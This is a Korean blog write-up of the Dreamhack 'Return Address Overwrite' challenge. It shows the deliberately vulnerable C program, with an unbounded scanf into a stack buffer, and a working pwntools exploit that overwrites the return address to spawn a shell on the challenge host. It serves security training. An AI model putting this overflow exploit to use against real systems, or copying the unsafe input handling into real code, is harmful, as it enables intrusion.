또 뭐하지
[Dreamhack] Return Address Overwrite 본문
728x90
풀이
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
제공된 코드를 살펴보자.
buf 크기는 0x28인데 scanf를 통해 입력받는 buf 크기에 제한이 없는 것을 확인할 수 있다. 이 부분에서 buffer overflow 취약점이 발생할 수 있다.
flag를 읽어오기 위해서는 shell을 얻어야하는데, 그 부분은 get_shell 함수를 실행시키면 될 것 같다. get_shell 함수를 실행시키기 위해서 스택프레임의 return address 부분에 get_shell 함수의 주소값을 입력하는 공격을 하면 된다.
<스택프레임>
익스플로잇 코드를 작성하기 전에 get_shell 함수의 주소를 알아보자.
gdb를 통해 get_shell 주소가 0x4006aa인 것을 알았다.
from pwn import *
p = remote('host3.dreamhack.games', 13098)
payload = b'A'*0x38 #buf 0x30 + sfp 0x8
payload += p64(0x4006aa)
p.sendlineafter(b':', payload)
p.interactive()
buf와 sfp를 모두 A로 채우고 return address를 get_shell 주소로하는 payload를 작성했다.
해당 코드를 실행하면 shell을 얻을 수 있다! 이를 통해 flag 파일을 읽어볼 수 있다.
'Write-up > Pwnable' 카테고리의 다른 글
[Dreamhack] ssp_001 (0) | 2024.05.24 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2024.05.22 |
[Dreamhack] basic_exploitation_001 (0) | 2024.05.20 |
[Dreamhack] basic_exploitation_000 (0) | 2024.05.20 |
[Dreamhack] shell_basic (0) | 2024.05.11 |